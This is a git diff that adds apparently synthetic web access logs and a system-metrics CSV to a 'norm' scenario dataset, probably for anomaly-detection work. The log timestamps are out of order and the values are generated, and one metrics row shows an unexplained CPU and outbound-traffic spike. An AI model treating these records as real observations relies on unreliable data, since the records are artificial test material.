- - [02/Jul/2025:12:02:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 5053 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [02/Jul/2025:12:02:34 +0000] "GET /products/item/123 HTTP/1.1" 200 4622 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:31 +0000] "GET /contact HTTP/1.1" 200 3644 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:34 +0000] "GET /products/item/123 HTTP/1.1" 200 7012 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:31 +0000] "GET /products HTTP/1.1" 200 2818 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:34 +0000] "GET /blog/article-45 HTTP/1.1" 200 7324 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:30 +0000] "GET /contact HTTP/1.1" 200 7705 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:32 +0000] "GET /about-us HTTP/1.1" 200 4901 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:32 +0000] "GET /products HTTP/1.1" 200 3031 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:31 +0000] "GET /contact HTTP/1.1" 200 2432 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:38 +0000] "GET /blog/article-45 HTTP/1.1" 200 4215 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:38 +0000] "GET /blog/article-45 HTTP/1.1" 200 5234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:37 +0000] "GET / HTTP/1.1" 200 7879 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:39 +0000] "GET /products HTTP/1.1" 200 5886 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:38 +0000] "GET /about-us HTTP/1.1" 200 5855 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:35 +0000] "GET / HTTP/1.1" 200 4580 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:36 +0000] "GET /contact HTTP/1.1" 200 3460 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:38 +0000] "GET /contact HTTP/1.1" 200 5534 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:39 +0000] "GET /products/item/123 HTTP/1.1" 200 6517 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:36 +0000] "GET /contact HTTP/1.1" 200 7098 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 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[02/Jul/2025:12:02:36 +0000] "GET /about-us HTTP/1.1" 200 2245 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:37 +0000] "GET / HTTP/1.1" 200 6636 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:36 +0000] "GET /blog/article-45 HTTP/1.1" 200 3508 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:37 +0000] "GET /products HTTP/1.1" 200 6277 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:39 +0000] "GET /contact HTTP/1.1" 200 4305 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:39 +0000] "GET /blog/article-45 HTTP/1.1" 200 1534 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:39 +0000] "GET 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[02/Jul/2025:12:04:53 +0000] "GET /contact HTTP/1.1" 200 2755 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:04:50 +0000] "GET /about-us HTTP/1.1" 200 5362 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:50 +0000] "GET /blog/article-45 HTTP/1.1" 200 4885 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:51 +0000] "GET /blog/article-45 HTTP/1.1" 200 1797 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:53 +0000] "GET /products/item/123 HTTP/1.1" 200 4982 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:04:50 +0000] "GET /blog/article-45 HTTP/1.1" 200 4524 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:51 +0000] "GET /contact HTTP/1.1" 200 6591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:52 +0000] "GET / HTTP/1.1" 200 7835 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:53 +0000] "GET /about-us HTTP/1.1" 200 4868 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:52 +0000] "GET /products HTTP/1.1" 200 5447 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:53 +0000] "GET /contact HTTP/1.1" 200 6280 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:04:52 +0000] "GET / HTTP/1.1" 200 2172 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:52 +0000] "GET /products/item/123 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+http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:55 +0000] "GET /about-us HTTP/1.1" 200 5277 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /about-us HTTP/1.1" 200 5956 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET /products HTTP/1.1" 200 6275 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /products HTTP/1.1" 200 5973 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:55 +0000] "GET /products HTTP/1.1" 200 2480 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:04:59 +0000] "GET / HTTP/1.1" 200 2118 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:58 +0000] "GET /products HTTP/1.1" 200 4066 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:04:57 +0000] "GET /about-us HTTP/1.1" 200 4772 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:59 +0000] "GET / HTTP/1.1" 200 2469 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:04:57 +0000] "GET /products/item/123 HTTP/1.1" 200 6440 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:04:56 +0000] "GET /products HTTP/1.1" 200 5932 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:04:58 +0000] "GET /products HTTP/1.1" 200 4398 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:04:58 +0000] "GET / HTTP/1.1" 200 2097 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/123 HTTP/1.1" 200 5510 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +203.0.113.15 - - [02/Jul/2025:12:05:00 +0000] "GET /contact HTTP/1.1" 200 6568 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:05:07 +0000] "GET /products/item/123 HTTP/1.1" 404 2500 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:05:09 +0000] "GET /products/item/123 HTTP/1.1" 200 6343 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:05:09 +0000] "GET /products HTTP/1.1" 200 5236 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:05:13 +0000] "GET /blog/article-45 HTTP/1.1" 404 2586 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:05:12 +0000] "GET /products/item/123 HTTP/1.1" 200 7916 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:05:16 +0000] "GET /about-us HTTP/1.1" 200 3833 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:05:15 +0000] "GET /products HTTP/1.1" 200 6487 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:05:16 +0000] "GET /products HTTP/1.1" 200 5203 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:05:22 +0000] "GET /about-us HTTP/1.1" 200 5320 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:05:27 +0000] "GET /blog/article-45 HTTP/1.1" 404 5188 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:05:29 +0000] "GET /products/item/123 HTTP/1.1" 404 1846 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:05:34 +0000] "GET / HTTP/1.1" 200 2365 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:05:33 +0000] "GET /about-us HTTP/1.1" 200 1658 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:05:39 +0000] "GET /about-us HTTP/1.1" 500 2510 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:05:36 +0000] "GET / HTTP/1.1" 200 1977 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:05:38 +0000] "GET /contact HTTP/1.1" 200 7976 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:05:43 +0000] "GET /products/item/123 HTTP/1.1" 404 2978 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:05:41 +0000] "GET /products HTTP/1.1" 500 7489 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:05:44 +0000] "GET /products/item/123 HTTP/1.1" 200 2801 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:05:45 +0000] "GET /products HTTP/1.1" 200 1545 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:05:47 +0000] "GET /about-us HTTP/1.1" 200 2843 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:05:48 +0000] "GET /about-us HTTP/1.1" 404 4450 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:05:52 +0000] "GET /contact HTTP/1.1" 200 3031 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:05:50 +0000] "GET /blog/article-45 HTTP/1.1" 200 5294 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:05:57 +0000] "GET /products HTTP/1.1" 200 5504 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:05:55 +0000] "GET /about-us HTTP/1.1" 404 3229 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:05:58 +0000] "GET /products/item/123 HTTP/1.1" 404 4785 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:06:02 +0000] "GET /blog/article-45 HTTP/1.1" 500 6745 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:06:03 +0000] "GET /contact HTTP/1.1" 200 7789 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:06:05 +0000] "GET /products HTTP/1.1" 200 7305 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:06:06 +0000] "GET /blog/article-45 HTTP/1.1" 200 7727 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:06:12 +0000] "GET /blog/article-45 HTTP/1.1" 200 7799 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:06:11 +0000] "GET /about-us HTTP/1.1" 404 5555 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:06:15 +0000] "GET / HTTP/1.1" 404 3822 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:06:21 +0000] "GET /products/item/123 HTTP/1.1" 200 5810 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:06:27 +0000] "GET /products HTTP/1.1" 500 5115 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:06:26 +0000] "GET / HTTP/1.1" 404 3538 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:06:32 +0000] "GET /about-us HTTP/1.1" 200 3090 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:06:38 +0000] "GET /blog/article-45 HTTP/1.1" 404 7463 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:06:42 +0000] "GET /about-us HTTP/1.1" 500 5959 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:06:42 +0000] "GET /products/item/123 HTTP/1.1" 200 3918 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:06:41 +0000] "GET /about-us HTTP/1.1" 200 3656 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:06:46 +0000] "GET /products/item/123 HTTP/1.1" 500 7611 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:06:50 +0000] "GET /products/item/123 HTTP/1.1" 500 6735 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:06:58 +0000] "GET /products/item/123 HTTP/1.1" 200 3175 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:06:56 +0000] "GET /products/item/123 HTTP/1.1" 500 4079 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:06:55 +0000] "GET /products HTTP/1.1" 200 7355 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:07:02 +0000] "GET /contact HTTP/1.1" 200 4990 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:07:09 +0000] "GET /products HTTP/1.1" 404 5468 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:07:07 +0000] "GET /contact HTTP/1.1" 404 1945 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:07:11 +0000] "GET /contact HTTP/1.1" 200 5370 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:07:16 +0000] "GET / HTTP/1.1" 200 1742 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:07:15 +0000] "GET /contact HTTP/1.1" 200 6954 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:07:18 +0000] "GET /about-us HTTP/1.1" 200 7668 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:07:22 +0000] "GET /products/item/123 HTTP/1.1" 200 3599 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:07:26 +0000] "GET /blog/article-45 HTTP/1.1" 200 5472 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" diff --git a/norm_dataset/scenario_8/norm_8_20.csv b/norm_dataset/scenario_8/norm_8_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..154b748f47b59e4f669c14ee32a96cc9f10b248b --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,17.295982324447486,40.76955977715449,31.71082979795608,1.5920285379341135,1.2484759212662455 +2025-08-22T10:00:05Z,14.02391569766665,39.0616871422525,22.704194751964316,1.4157579041112989,1.5521619607592416 +2025-08-22T10:00:10Z,15.280223249725918,35.643778806332236,33.43900641455326,1.7691770632879458,1.2878395849086908 +2025-08-22T10:00:15Z,17.36146762208766,39.11771051868181,32.25313780997745,1.560332498148987,1.7893260791169836 +2025-08-22T10:00:20Z,17.694085525910626,42.219526621801144,26.02272252556414,1.4378559875257806,1.5440363221235056 +2025-08-22T10:00:25Z,14.969362151945417,40.0712748734697,41.57611108060425,0.818993242948603,1.6025757549325765 +2025-08-22T10:00:30Z,11.670407766208143,40.342684313881044,30.81922993125151,1.198386981547387,1.3106295828611492 +2025-08-22T10:00:35Z,17.640291958395142,41.69598026950539,42.99803714878351,1.147602340106118,1.9012739623098664 +2025-08-22T10:00:40Z,13.899372737064795,39.89511762952245,35.5998332568152,1.743040618575883,1.8224420904424616 +2025-08-22T10:00:45Z,15.045224317635622,37.717029381023956,38.68617574025967,1.8008313563182445,1.9893125807796905 +2025-08-22T10:00:50Z,15.731774448907263,42.53714892575875,41.09795925380058,1.1994580529351797,1.341457945508147 +2025-08-22T10:00:55Z,7.836366054437965,37.221949336498724,34.763122325597635,1.7834042173592808,1.4575253479485932 +2025-08-22T10:01:00Z,16.046642381201078,40.25826893577106,31.3772210833842,1.2277540237621525,2.105288133291163 +2025-08-22T10:01:05Z,13.665434906768038,38.071700051874934,24.98249629157899,1.4833782204710129,2.201335707583866 +2025-08-22T10:01:10Z,15.327341650924687,38.95721676520225,24.96681881474526,0.9655818048282817,1.4238822708696424 +2025-08-22T10:01:15Z,17.895586631817043,37.9252603912659,24.43314951266659,1.621132180480645,1.6481244925075917 +2025-08-22T10:01:20Z,14.716194917218624,41.696175112047015,24.969243556738753,1.4269839116547771,2.036743626925081 +2025-08-22T10:01:25Z,16.953615060650215,38.356458274203085,17.934773697563923,1.6964188089239367,1.5290229320123863 +2025-08-22T10:01:30Z,12.442301362657043,38.26780048575,34.39223813545559,1.535403321619625,1.1622788753545361 +2025-08-22T10:01:35Z,15.605297289119825,40.828078942194,28.58652998987586,1.668683048950245,0.934580621101761 +2025-08-22T10:01:40Z,19.914941789338396,39.48618918926184,35.05257752319629,1.3570040342782606,1.3937344088476287 +2025-08-22T10:01:45Z,11.069869682477933,43.9992452107695,32.103102932912726,1.176869620610002,1.7437277185129776 +2025-08-22T10:01:50Z,18.324911377352183,38.873734224000536,36.447471114285655,1.1368422406861847,1.4713133117024217 +2025-08-22T10:01:55Z,16.17976765092601,38.44378297135693,33.19768526729041,1.7024178831298808,1.880550861510022 +2025-08-22T10:02:00Z,91.36668165543325,51.38006856580025,102.54152593261031,3.081991434721676,79.04050224877263 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+2025-08-22T10:07:25Z,18.62030037433656,38.759807762013565,32.35678936779528,1.7554799915480528,1.5031537971150304 diff --git a/norm_dataset/scenario_8/norm_8_20.log b/norm_dataset/scenario_8/norm_8_20.log new file mode 100644 index 0000000000000000000000000000000000000000..f1cb8426052b206c4b1c905b68b284cd8909be86 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_20.log @@ -0,0 +1,351 @@ +Aug 22 10:00:01 web-app[1234]: 192.168.1.92 - - "GET /sitemap.xml HTTP/1.1" 200 3180 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 